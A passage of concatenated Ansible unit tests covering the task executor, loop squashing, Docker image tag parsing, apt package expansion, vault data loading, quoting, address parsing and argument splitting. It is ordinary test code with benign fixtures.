        mock_play_context = MagicMock()
        mock_shared_loader = MagicMock()
        new_stdin = None
        job_vars = dict()
        mock_queue = MagicMock()
        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = mock_shared_loader,
            rslt_q = mock_queue,
        )

    def test_task_executor_run(self):
        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        mock_task = MagicMock()
        mock_task._role._role_path = '/path/to/role/foo'

        mock_play_context = MagicMock()

        mock_shared_loader = MagicMock()
        mock_queue = MagicMock()

        new_stdin = None
        job_vars = dict()

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = mock_shared_loader,
            rslt_q = mock_queue,
        )

        te._get_loop_items = MagicMock(return_value=None)
        te._execute = MagicMock(return_value=dict())
        res = te.run()

        te._get_loop_items = MagicMock(return_value=[])
        res = te.run()

        te._get_loop_items = MagicMock(return_value=['a','b','c'])
        te._run_loop = MagicMock(return_value=[dict(item='a', changed=True), dict(item='b', failed=True), dict(item='c')])
        res = te.run()

        te._get_loop_items = MagicMock(side_effect=AnsibleError(""))
        res = te.run()
        self.assertIn("failed", res)

    def test_task_executor_get_loop_items(self):
        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        mock_task = MagicMock()
        mock_task.loop = 'items'
        mock_task.loop_args = ['a', 'b', 'c']

        mock_play_context = MagicMock()

        mock_shared_loader = MagicMock()
        mock_shared_loader.lookup_loader = lookup_loader

        new_stdin = None
        job_vars = dict()
        mock_queue = MagicMock()

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = mock_shared_loader,
            rslt_q = mock_queue,
        )

        items = te._get_loop_items()
        self.assertEqual(items, ['a', 'b', 'c'])

    def test_task_executor_run_loop(self):
        items = ['a', 'b', 'c']

        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        def _copy(exclude_parent=False, exclude_tasks=False):
            new_item = MagicMock()
            return new_item

        mock_task = MagicMock()
        mock_task.copy.side_effect = _copy

        mock_play_context = MagicMock()

        mock_shared_loader = MagicMock()
        mock_queue = MagicMock()

        new_stdin = None
        job_vars = dict()

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = mock_shared_loader,
            rslt_q = mock_queue,
        )

        def _execute(variables):
            return dict(item=variables.get('item'))

        te._squash_items = MagicMock(return_value=items)
        te._execute = MagicMock(side_effect=_execute)

        res = te._run_loop(items)
        self.assertEqual(len(res), 3)

    def test_task_executor_squash_items(self):
        items = ['a', 'b', 'c']

        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        loop_var = 'item'

        def _evaluate_conditional(templar, variables):
            item = variables.get(loop_var)
            if item == 'b':
                return False
            return True

        mock_task = MagicMock()
        mock_task.evaluate_conditional.side_effect = _evaluate_conditional

        mock_play_context = MagicMock()

        mock_shared_loader = None
        mock_queue = MagicMock()

        new_stdin = None
        job_vars = dict(pkg_mgr='yum')

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = mock_shared_loader,
            rslt_q = mock_queue,
        )

        #
        # No replacement
        #
        mock_task.action = 'yum'
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, ['a', 'b', 'c'])
        self.assertIsInstance(mock_task.args, MagicMock)

        mock_task.action = 'foo'
        mock_task.args={'name': '{{item}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, ['a', 'b', 'c'])
        self.assertEqual(mock_task.args, {'name': '{{item}}'})

        mock_task.action = 'yum'
        mock_task.args={'name': 'static'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, ['a', 'b', 'c'])
        self.assertEqual(mock_task.args, {'name': 'static'})

        mock_task.action = 'yum'
        mock_task.args={'name': '{{pkg_mgr}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, ['a', 'b', 'c'])
        self.assertEqual(mock_task.args, {'name': '{{pkg_mgr}}'})

        mock_task.action = '{{unknown}}'
        mock_task.args={'name': '{{item}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, ['a', 'b', 'c'])
        self.assertEqual(mock_task.args, {'name': '{{item}}'})

        # Could do something like this to recover from bad deps in a package
        job_vars = dict(pkg_mgr='yum', packages=['a', 'b'])
        items = [ 'absent', 'latest' ]
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{ packages }}', 'state': '{{ item }}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{ packages }}', 'state': '{{ item }}'})

        # Maybe should raise an error in this case.  The user would have to specify:
        # - yum: name="{{ packages[item] }}"
        #   with_items:
        #     - ['a', 'b']
        #     - ['foo', 'bar']
        # you can't use a list as a dict key so that would probably throw
        # an error later.  If so, we can throw it now instead.
        # Squashing in this case would not be intuitive as the user is being
        # explicit in using each list entry as a key.  
        job_vars = dict(pkg_mgr='yum', packages={ "a": "foo", "b": "bar", "foo": "baz", "bar": "quux" })
        items = [['a', 'b'], ['foo', 'bar']]
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{ packages[item] }}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{ packages[item] }}'})

        #
        # Replaces
        #
        items = ['a', 'b', 'c']
        mock_task.action = 'yum'
        mock_task.args={'name': '{{item}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, [['a','c']])
        self.assertEqual(mock_task.args, {'name': ['a','c']})

        mock_task.action = '{{pkg_mgr}}'
        mock_task.args={'name': '{{item}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        self.assertEqual(new_items, [['a', 'c']])
        self.assertEqual(mock_task.args, {'name': ['a','c']})

        # New loop_var
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{a_loop_var_item}}'}
        mock_task.loop_control = {'loop_var': 'a_loop_var_item'}
        loop_var = 'a_loop_var_item'
        new_items = te._squash_items(items=items, loop_var='a_loop_var_item', variables=job_vars)
        self.assertEqual(new_items, [['a', 'c']])
        self.assertEqual(mock_task.args, {'name': ['a','c']})
        loop_var = 'item'

        #
        # These are presently not optimized but could be in the future.
        # Expected output if they were optimized is given as a comment
        # Please move these to a different section if they are optimized
        #

        # Squashing lists
        job_vars = dict(pkg_mgr='yum')
        items = [['a', 'b'], ['foo', 'bar']]
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{ item }}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        #self.assertEqual(new_items, [['a', 'b', 'foo', 'bar']])
        #self.assertEqual(mock_task.args, {'name': ['a', 'b', 'foo', 'bar']})
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{ item }}'})

        # Retrieving from a dict
        items = ['a', 'b', 'foo']
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{ packages[item] }}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        #self.assertEqual(new_items, [['foo', 'baz']])
        #self.assertEqual(mock_task.args, {'name': ['foo', 'baz']})
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{ packages[item] }}'})

        # Another way to retrieve from a dict
        job_vars = dict(pkg_mgr='yum')
        items = [{'package': 'foo'}, {'package': 'bar'}]
        mock_task.action = 'yum'
        mock_task.args = {'name': '{{ item["package"] }}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        #self.assertEqual(new_items, [['foo', 'bar']])
        #self.assertEqual(mock_task.args, {'name': ['foo', 'bar']})
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{ item["package"] }}'})

        items = [dict(name='a', state='present'),
                dict(name='b', state='present'),
                dict(name='c', state='present')]
        mock_task.action = 'yum'
        mock_task.args={'name': '{{item.name}}', 'state': '{{item.state}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        #self.assertEqual(new_items, [dict(name=['a', 'b', 'c'], state='present')])
        #self.assertEqual(mock_task.args, {'name': ['a', 'b', 'c'], 'state': 'present'})
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{item.name}}', 'state': '{{item.state}}'})

        items = [dict(name='a', state='present'),
                dict(name='b', state='present'),
                dict(name='c', state='absent')]
        mock_task.action = 'yum'
        mock_task.args={'name': '{{item.name}}', 'state': '{{item.state}}'}
        new_items = te._squash_items(items=items, loop_var='item', variables=job_vars)
        #self.assertEqual(new_items, [dict(name=['a', 'b'], state='present'),
        #        dict(name='c', state='absent')])
        #self.assertEqual(mock_task.args, {'name': '{{item.name}}', 'state': '{{item.state}}'})
        self.assertEqual(new_items, items)
        self.assertEqual(mock_task.args, {'name': '{{item.name}}', 'state': '{{item.state}}'})


    def test_task_executor_execute(self):
        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        mock_task = MagicMock()
        mock_task.args = dict()
        mock_task.retries = 0
        mock_task.delay = -1
        mock_task.register = 'foo'
        mock_task.until = None
        mock_task.changed_when = None
        mock_task.failed_when = None
        mock_task.post_validate.return_value = None
        # mock_task.async cannot be left unset, because on Python 3 MagicMock()
        # > 0 raises a TypeError   There are two reasons for using the value 1
        # here: on Python 2 comparing MagicMock() > 0 returns True, and the
        # other reason is that if I specify 0 here, the test fails. ;)
        mock_task.async = 1
        mock_task.poll = 0

        mock_play_context = MagicMock()
        mock_play_context.post_validate.return_value = None
        mock_play_context.update_vars.return_value = None

        mock_connection = MagicMock()
        mock_connection.set_host_overrides.return_value = None
        mock_connection._connect.return_value = None

        mock_action = MagicMock()
        mock_queue = MagicMock()

        shared_loader = None
        new_stdin = None
        job_vars = dict(omit="XXXXXXXXXXXXXXXXXXX")

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = shared_loader,
            rslt_q = mock_queue,
        )

        te._get_connection = MagicMock(return_value=mock_connection)
        te._get_action_handler = MagicMock(return_value=mock_action)

        mock_action.run.return_value = dict(ansible_facts=dict())
        res = te._execute()

        mock_task.changed_when = MagicMock(return_value=AnsibleUnicode("1 == 1"))
        res = te._execute()

        mock_task.changed_when = None
        mock_task.failed_when = MagicMock(return_value=AnsibleUnicode("1 == 1"))
        res = te._execute()

        mock_task.failed_when = None
        mock_task.evaluate_conditional.return_value = False
        res = te._execute()

        mock_task.evaluate_conditional.return_value = True
        mock_task.args = dict(_raw_params='foo.yml', a='foo', b='bar')
        mock_task.action = 'include'
        res = te._execute()

    def test_task_executor_poll_async_result(self):
        fake_loader = DictDataLoader({})

        mock_host = MagicMock()

        mock_task = MagicMock()
        mock_task.async = 0.1
        mock_task.poll  = 0.05

        mock_play_context = MagicMock()

        mock_connection = MagicMock()

        mock_action = MagicMock()
        mock_queue = MagicMock()

        shared_loader = MagicMock()
        shared_loader.action_loader = action_loader

        new_stdin = None
        job_vars = dict(omit="XXXXXXXXXXXXXXXXXXX")

        te = TaskExecutor(
            host = mock_host,
            task = mock_task,
            job_vars = job_vars,
            play_context = mock_play_context,
            new_stdin = new_stdin,
            loader = fake_loader,
            shared_loader_obj = shared_loader,
            rslt_q = mock_queue,
        )

        te._connection = MagicMock()

        def _get(*args, **kwargs):
            mock_action = MagicMock()
            mock_action.run.return_value = dict(stdout='')
            return mock_action

        # testing with some bad values in the result passed to poll async,
        # and with a bad value returned from the mock action
        with patch.object(action_loader, 'get', _get):
            mock_templar = MagicMock()
            res = te._poll_async_result(result=dict(), templar=mock_templar)
            self.assertIn('failed', res)
            res = te._poll_async_result(result=dict(ansible_job_id=1), templar=mock_templar)
            self.assertIn('failed', res)

        def _get(*args, **kwargs):
            mock_action = MagicMock()
            mock_action.run.return_value = dict(finished=1)
            return mock_action

        # now testing with good values
        with patch.object(action_loader, 'get', _get):
            mock_templar = MagicMock()
            res = te._poll_async_result(result=dict(ansible_job_id=1), templar=mock_templar)
            self.assertEqual(res, dict(finished=1))













import collections
import os
import unittest

from ansible.modules.core.cloud.docker._docker import get_split_image_tag

class DockerSplitImageTagTestCase(unittest.TestCase):

    def test_trivial(self):
        self.assertEqual(get_split_image_tag('test'), ('test', 'latest'))

    def test_with_org_name(self):
        self.assertEqual(get_split_image_tag('ansible/centos7-ansible'), ('ansible/centos7-ansible', 'latest'))

    def test_with_tag(self):
        self.assertEqual(get_split_image_tag('test:devel'), ('test', 'devel'))

    def test_with_tag_and_org_name(self):
        self.assertEqual(get_split_image_tag('ansible/centos7-ansible:devel'), ('ansible/centos7-ansible', 'devel'))






import collections
import mock
import os
import sys
from ansible.compat.tests import unittest


try:
    from ansible.modules.core.packaging.os.apt import (
        expand_pkgspec_from_fnmatches,
    )
except:
    # Need some more module_utils work (porting urls.py) before we can test
    # modules.  So don't error out in this case.
    if sys.version_info[0] >= 3:
        pass


class AptExpandPkgspecTestCase(unittest.TestCase):

    def setUp(self):
        FakePackage = collections.namedtuple("Package", ("name",))
        self.fake_cache = [ FakePackage("apt"),
                            FakePackage("apt-utils"),
                            FakePackage("not-selected"),
        ]

    def test_trivial(self):
        foo = ["apt"]
        self.assertEqual(
            expand_pkgspec_from_fnmatches(None, foo, self.fake_cache), foo)

    def test_version_wildcard(self):
        foo = ["apt=1.0*"]
        self.assertEqual(
            expand_pkgspec_from_fnmatches(None, foo, self.fake_cache), foo)

    def test_pkgname_wildcard_version_wildcard(self):
        foo = ["apt*=1.0*"]
        m_mock = mock.Mock()
        self.assertEqual(
            expand_pkgspec_from_fnmatches(m_mock, foo, self.fake_cache),
            ['apt', 'apt-utils'])

    def test_pkgname_expands(self):
        foo = ["apt*"]
        m_mock = mock.Mock()
        self.assertEqual(
            expand_pkgspec_from_fnmatches(m_mock, foo, self.fake_cache),
            ["apt", "apt-utils"])












# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from six import PY3
from yaml.scanner import ScannerError

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, mock_open
from ansible.errors import AnsibleParserError

from ansible.parsing.dataloader import DataLoader
from ansible.parsing.yaml.objects import AnsibleMapping

class TestDataLoader(unittest.TestCase):

    def setUp(self):
        self._loader = DataLoader()

    def tearDown(self):
        pass

    @patch.object(DataLoader, '_get_file_contents')
    def test_parse_json_from_file(self, mock_def):
        mock_def.return_value = ("""{"a": 1, "b": 2, "c": 3}""", True)
        output = self._loader.load_from_file('dummy_json.txt')
        self.assertEqual(output, dict(a=1,b=2,c=3))

    @patch.object(DataLoader, '_get_file_contents')
    def test_parse_yaml_from_file(self, mock_def):
        mock_def.return_value = ("""
        a: 1
        b: 2
        c: 3
        """, True)
        output = self._loader.load_from_file('dummy_yaml.txt')
        self.assertEqual(output, dict(a=1,b=2,c=3))

    @patch.object(DataLoader, '_get_file_contents')
    def test_parse_fail_from_file(self, mock_def):
        mock_def.return_value = ("""
        TEXT:
            ***
               NOT VALID
        """, True)
        self.assertRaises(AnsibleParserError, self._loader.load_from_file, 'dummy_yaml_bad.txt')

class TestDataLoaderWithVault(unittest.TestCase):

    def setUp(self):
        self._loader = DataLoader()
        self._loader.set_vault_password('ansible')

    def tearDown(self):
        pass

    @patch.multiple(DataLoader, path_exists=lambda s, x: True, is_file=lambda s, x: True)
    def test_parse_from_vault_1_1_file(self):
        vaulted_data = """$ANSIBLE_VAULT;1.1;AES256
33343734386261666161626433386662623039356366656637303939306563376130623138626165
6436333766346533353463636566313332623130383662340a393835656134633665333861393331
37666233346464636263636530626332623035633135363732623332313534306438393366323966
3135306561356164310a343937653834643433343734653137383339323330626437313562306630
3035
"""
        if PY3:
            builtins_name = 'builtins'
        else:
            builtins_name = '__builtin__'

        with patch(builtins_name + '.open', mock_open(read_data=vaulted_data)):
            output = self._loader.load_from_file('dummy_vault.txt')
            self.assertEqual(output, dict(foo='bar'))






# coding: utf-8
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from nose import tools
from ansible.compat.tests import unittest

from ansible.parsing.quoting import unquote


# Tests using nose's test generators cannot use unittest base class.
# http://nose.readthedocs.org/en/latest/writing_tests.html#test-generators
class TestUnquote:
    UNQUOTE_DATA = (
            (u'1', u'1'),
            (u'\'1\'', u'1'),
            (u'"1"', u'1'),
            (u'"1 \'2\'"', u'1 \'2\''),
            (u'\'1 "2"\'', u'1 "2"'),
            (u'\'1 \'2\'\'', u'1 \'2\''),
            (u'"1\\"', u'"1\\"'),
            (u'\'1\\\'', u'\'1\\\''),
            (u'"1 \\"2\\" 3"', u'1 \\"2\\" 3'),
            (u'\'1 \\\'2\\\' 3\'', u'1 \\\'2\\\' 3'),
            (u'"', u'"'),
            (u'\'', u'\''),
            # Not entirely sure these are good but they match the current
            # behaviour
            (u'"1""2"', u'1""2'),
            (u'\'1\'\'2\'', u'1\'\'2'),
            (u'"1" 2 "3"', u'1" 2 "3'),
            (u'"1"\'2\'"3"', u'1"\'2\'"3'),
            )

    def check_unquote(self, quoted, expected):
        tools.eq_(unquote(quoted), expected)

    def test_unquote(self):
        for datapoint in self.UNQUOTE_DATA:
            yield self.check_unquote, datapoint[0], datapoint[1]






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# -*- coding: utf-8 -*-

import unittest

from ansible.parsing.utils.addresses import parse_address

class TestParseAddress(unittest.TestCase):

    tests = {
        # IPv4 addresses
        '192.0.2.3': ['192.0.2.3', None],
        '192.0.2.3:23': ['192.0.2.3', 23],

        # IPv6 addresses
        '::': ['::', None],
        '::1': ['::1', None],
        '[::1]:442': ['::1', 442],
        'abcd:ef98:7654:3210:abcd:ef98:7654:3210': ['abcd:ef98:7654:3210:abcd:ef98:7654:3210', None],
        '[abcd:ef98:7654:3210:abcd:ef98:7654:3210]:42': ['abcd:ef98:7654:3210:abcd:ef98:7654:3210', 42],
        '1234:5678:9abc:def0:1234:5678:9abc:def0': ['1234:5678:9abc:def0:1234:5678:9abc:def0', None],
        '1234::9abc:def0:1234:5678:9abc:def0': ['1234::9abc:def0:1234:5678:9abc:def0', None],
        '1234:5678::def0:1234:5678:9abc:def0': ['1234:5678::def0:1234:5678:9abc:def0', None],
        '1234:5678:9abc::1234:5678:9abc:def0': ['1234:5678:9abc::1234:5678:9abc:def0', None],
        '1234:5678:9abc:def0::5678:9abc:def0': ['1234:5678:9abc:def0::5678:9abc:def0', None],
        '1234:5678:9abc:def0:1234::9abc:def0': ['1234:5678:9abc:def0:1234::9abc:def0', None],
        '1234:5678:9abc:def0:1234:5678::def0': ['1234:5678:9abc:def0:1234:5678::def0', None],
        '1234:5678:9abc:def0:1234:5678::': ['1234:5678:9abc:def0:1234:5678::', None],
        '::9abc:def0:1234:5678:9abc:def0': ['::9abc:def0:1234:5678:9abc:def0', None],
        '0:0:0:0:0:ffff:1.2.3.4': ['0:0:0:0:0:ffff:1.2.3.4', None],
        '0:0:0:0:0:0:1.2.3.4': ['0:0:0:0:0:0:1.2.3.4', None],
        '::ffff:1.2.3.4': ['::ffff:1.2.3.4', None],
        '::1.2.3.4': ['::1.2.3.4', None],
        '1234::': ['1234::', None],

        # Hostnames
        'some-host': ['some-host', None],
        'some-host:80': ['some-host', 80],
        'some.host.com:492': ['some.host.com', 492],
        '[some.host.com]:493': ['some.host.com', 493],
        'a-b.3foo_bar.com:23': ['a-b.3foo_bar.com', 23],
        u'fóöbär': [u'fóöbär', None],
        u'fóöbär:32': [u'fóöbär', 32],
        u'fóöbär.éxàmplê.com:632': [u'fóöbär.éxàmplê.com', 632],

        # Various errors
        '': [None, None],
        'some..host': [None, None],
        'some.': [None, None],
        '[example.com]': [None, None],
        'some-': [None, None],
        'some-.foo.com': [None, None],
        'some.-foo.com': [None, None],
    }

    range_tests = {
        '192.0.2.[3:10]': ['192.0.2.[3:10]', None],
        '192.0.2.[3:10]:23': ['192.0.2.[3:10]', 23],
        'abcd:ef98::7654:[1:9]': ['abcd:ef98::7654:[1:9]', None],
        '[abcd:ef98::7654:[6:32]]:2222': ['abcd:ef98::7654:[6:32]', 2222],
        '[abcd:ef98::7654:[9ab3:fcb7]]:2222': ['abcd:ef98::7654:[9ab3:fcb7]', 2222],
        u'fóöb[a:c]r.éxàmplê.com:632': [u'fóöb[a:c]r.éxàmplê.com', 632],
        '[a:b]foo.com': ['[a:b]foo.com', None],
        'foo[a:b].com': ['foo[a:b].com', None],
        'foo[a:b]:42': ['foo[a:b]', 42],
        'foo[a-b]-.com': [None, None],
        'foo[a-b]:32': [None, None],
        'foo[x-y]': [None, None],
    }

    def test_without_ranges(self):
        for t in self.tests:
            test = self.tests[t]

            try:
                (host, port) = parse_address(t)
            except:
                host = None
                port = None

            assert host == test[0]
            assert port == test[1]

    def test_with_ranges(self):
        for t in self.range_tests:
            test = self.range_tests[t]

            try:
                (host, port) = parse_address(t, allow_ranges=True)
            except:
                host = None
                port = None

            assert host == test[0]
            assert port == test[1]






# coding: utf-8
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from nose import tools
from ansible.compat.tests import unittest

from ansible.parsing.splitter import split_args, parse_kv


# Tests using nose's test generators cannot use unittest base class.
# http://nose.readthedocs.org/en/latest/writing_tests.html#test-generators
class TestSplitter_Gen:
    SPLIT_DATA = (
            (u'a',
                [u'a'],
                {u'_raw_params': u'a'}),
            (u'a=b',
                [u'a=b'],
                {u'a': u'b'}),
            (u'a="foo bar"',
                [u'a="foo bar"'],
                {u'a': u'foo bar'}),
            (u'"foo bar baz"',
                [u'"foo bar baz"'],
                {u'_raw_params': '"foo bar baz"'}),
            (u'foo bar baz',
                [u'foo', u'bar', u'baz'],
                {u'_raw_params': u'foo bar baz'}),
            (u'a=b c="foo bar"',
                [u'a=b', u'c="foo bar"'],
                {u'a': u'b', u'c': u'foo bar'}),
            (u'a="echo \\"hello world\\"" b=bar',
                [u'a="echo \\"hello world\\""', u'b=bar'],
                {u'a': u'echo "hello world"', u'b': u'bar'}),
            (u'a="multi\nline"',
                [u'a="multi\nline"'],
                {u'a': u'multi\nline'}),
            (u'a="blank\n\nline"',
                [u'a="blank\n\nline"'],
                {u'a': u'blank\n\nline'}),
            (u'a="blank\n\n\nlines"',
                [u'a="blank\n\n\nlines"'],
                {u'a': u'blank\n\n\nlines'}),
            (u'a="a long\nmessage\\\nabout a thing\n"',
                [u'a="a long\nmessage\\\nabout a thing\n"'],
                {u'a': u'a long\nmessage\\\nabout a thing\n'}),
            (u'a="multiline\nmessage1\\\n" b="multiline\nmessage2\\\n"',
                [u'a="multiline\nmessage1\\\n"', u'b="multiline\nmessage2\\\n"'],
                {u'a': 'multiline\nmessage1\\\n', u'b': u'multiline\nmessage2\\\n'}),
            (u'a={{jinja}}',
                [u'a={{jinja}}'],
                {u'a': u'{{jinja}}'}),
            (u'a={{ jinja }}',
                [u'a={{ jinja }}'],
                {u'a': u'{{ jinja }}'}),
            (u'a="{{jinja}}"',
                [u'a="{{jinja}}"'],
                {u'a': u'{{jinja}}'}),
            (u'a={{ jinja }}{{jinja2}}',
                [u'a={{ jinja }}{{jinja2}}'],
                {u'a': u'{{ jinja }}{{jinja2}}'}),
            (u'a="{{ jinja }}{{jinja2}}"',
                [u'a="{{ jinja }}{{jinja2}}"'],
                {u'a': u'{{ jinja }}{{jinja2}}'}),
            (u'a={{jinja}} b={{jinja2}}',
                [u'a={{jinja}}', u'b={{jinja2}}'],
                {u'a': u'{{jinja}}', u'b': u'{{jinja2}}'}),
            (u'a="{{jinja}}\n" b="{{jinja2}}\n"',
                [u'a="{{jinja}}\n"', u'b="{{jinja2}}\n"'],
                {u'a': u'{{jinja}}\n', u'b': u'{{jinja2}}\n'}),
            (u'a="café eñyei"',
                [u'a="café eñyei"'],
                {u'a': u'café eñyei'}),
            (u'a=café b=eñyei',
                [u'a=café', u'b=eñyei'],
                {u'a': u'café', u'b': u'eñyei'}),
            (u'a={{ foo | some_filter(\' \', " ") }} b=bar',
                [u'a={{ foo | some_filter(\' \', " ") }}', u'b=bar'],
                {u'a': u'{{ foo | some_filter(\' \', " ") }}', u'b': u'bar'}),
            )

    def check_split_args(self, args, expected):
        tools.eq_(split_args(args), expected)

    def test_split_args(self):
        for datapoint in self.SPLIT_DATA:
            yield self.check_split_args, datapoint[0], datapoint[1]

    def check_parse_kv(self, args, expected):
        tools.eq_(parse_kv(args), expected)

    def test_parse_kv(self):
        for datapoint in self.SPLIT_DATA:
            try:
                yield self.check_parse_kv, datapoint[0], datapoint[2]
            except: pass






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.parsing.mod_args import ModuleArgsParser
from ansible.errors import AnsibleParserError

from ansible.compat.tests import unittest

class TestModArgsDwim(unittest.TestCase):

    # TODO: add tests that construct ModuleArgsParser with a task reference
    # TODO: verify the AnsibleError raised on failure knows the task
    #       and the task knows the line numbers

    def setUp(self):
        pass

    def _debug(self, mod, args, to):
        print("RETURNED module = {0}".format(mod))
        print("           args = {0}".format(args))
        print("             to = {0}".format(to))

    def tearDown(self):
        pass

    def test_basic_shell(self):
        m = ModuleArgsParser(dict(shell='echo hi'))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'command')
        self.assertEqual(args, dict(
                                _raw_params = 'echo hi',
                                _uses_shell = True,
                        ))
        self.assertIsNone(to)

    def test_basic_command(self):
        m = ModuleArgsParser(dict(command='echo hi'))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'command')
        self.assertEqual(args, dict(
                                _raw_params = 'echo hi',
                        ))
        self.assertIsNone(to)

    def test_shell_with_modifiers(self):
        m = ModuleArgsParser(dict(shell='/bin/foo creates=/tmp/baz removes=/tmp/bleep'))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'command')
        self.assertEqual(args, dict(
                                creates     = '/tmp/baz',
                                removes     = '/tmp/bleep',
                                _raw_params = '/bin/foo',
                                _uses_shell = True,
                        ))
        self.assertIsNone(to)

    def test_normal_usage(self):
        m = ModuleArgsParser(dict(copy='src=a dest=b'))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'copy')
        self.assertEqual(args, dict(src='a', dest='b'))
        self.assertIsNone(to)

    def test_complex_args(self):
        m = ModuleArgsParser(dict(copy=dict(src='a', dest='b')))
        mod, args, to = m.parse()
